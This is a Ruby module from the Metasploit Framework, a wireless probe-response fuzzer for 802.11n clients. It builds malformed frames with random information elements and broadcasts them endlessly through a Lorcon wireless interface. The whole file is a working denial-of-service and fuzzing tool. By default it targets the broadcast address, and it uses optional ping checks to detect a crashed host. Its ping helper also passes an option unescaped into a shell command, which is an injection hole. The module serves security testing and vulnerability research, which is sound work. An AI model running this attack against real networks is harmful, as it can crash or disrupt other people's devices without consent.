##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Auxiliary::Dos::Wireless::FuzzProbeResp11n < Msf::Auxiliary

	include Exploit::Lorcon


	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Wireless Probe Response Frame Fuzzer for 802.11n Networks',
			'Description'    => %q{
				This module sends out corrupted probe response frames, formatted for 802.11n-aware clients..
			},
			
			'Author'         => [ 'hdm', 'joswr1ght' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $'
		))
		register_options(
			[
				OptString.new('ADDR_DST', [ true,  "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']),
				OptString.new('PING_HOST', [ false,  "Ping the wired address of the target host"])			
			], self.class)					
	end

	def ping_check
		1.upto(3) do |i|
			x = `ping -c 1 -n #{datastore['PING_HOST']}`
			return true if x =~ /1 received/
			if (i > 1)
				print_status("Host missed a ping response...")
			end
		end
		return false
	end
	
	def run
		
		srand(0)
		
		@@uni = 0
		
		frames = []
	
		open_wifi
		
		print_status("Sending corrupt frames...")
		
		while (true)
			frame = create_frame()
			
			if (datastore['PING_HOST'])
			
				if (frames.length >= 5)
					frames.shift
					frames.push(frame)
				else
					frames.push(frame)
				end

				1.upto(10) do 
					wifi.write(frame)
					if (not ping_check())
						frames.each do |f|
							print_status "****************************************"
							print_status f.inspect
						end
						return
					end		
				end
			else 
				wifi.write(frame)
			end
		end
	end

	def create_frame
		mtu      = 1500-36
		ies      = rand(1024)

		bssid    = "\x00" + Rex::Text.rand_text(5)
		seq      = [rand(255)].pack('n')
		
		frame = 
			"\x50" +                      # type/subtype
			"\x00" +                      # flags
			"\x00\x00" +                  # duration  
			eton(datastore['ADDR_DST']) + # dst
			bssid +                       # src
			bssid +                       # bssid
			seq   +                       # seq  
			Rex::Text.rand_text(8) +      # timestamp value
			Rex::Text.rand_text(2) +      # beacon interval
			Rex::Text.rand_text(2)        # capability flags
		
		ssid = Rex::Text.rand_text_alphanumeric(rand(32))

		# ssid tag
		frame << "\x00" + ssid.length.chr + ssid

		# supported rates
		frame << "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" 
		
		# current channel
		frame << "\x03" + "\x01" + channel.chr

		# ERP information
		frame << "\x2a" + "\x01" + "\x00"

		# Extended supported data rates
		extratelen = rand(256)
		frame << "\x32" 
		frame << extratelen
		frame << Rex::Text.rand_text(extratelen)

		# WME tags
		wmelen = rand(256)
		frame << "\xdd" 
		frame << wmelen
		frame << "\x00\x50\xf2\x02" + Rex::Text.rand_text(wmelen-4)
	
		# Vendor Specific HT capabilities
		vhtcapablen = rand(256)
		frame << "\xdd"
		frame << vhtcapablen
		frame << "\x00\x90\x4c\x33" + Rex::Text.rand_text(vhtcapablen-4)

		# Vendor Specific HT additional capabilities
		vhtaddcapablen = rand(256)
		frame << "\xdd"
		frame << vhtaddcapablen
		frame << "\x00\x90\x4c\x34"
		frame << Rex::Text.rand_text(vhtaddcapablen-4)

		# HT capabilities
		htcapablen = rand(256)
		frame << "\x2d"
		frame << htcapablen
		frame << Rex::Text.rand_text(htcapablen)

		# HT information
		htinfolen = rand(256)
		frame << "\x3d"
		frame << htinfolen
		frame << Rex::Text.rand_text(htinfolen)

		# Additional IE's for good measure
		1.upto(ies) do |i|
			max = mtu - frame.length
			break if max < 2
			t = rand(256)
			l = (max - 2 == 0) ? 0 : (max > 255) ? rand(255) : rand(max - 1)
			d = Rex::Text.rand_text(l)
			frame += t.chr + l.chr + d
		end
		
		return frame[0..mtu] # hack, hack, hack

	end
	
end
end	
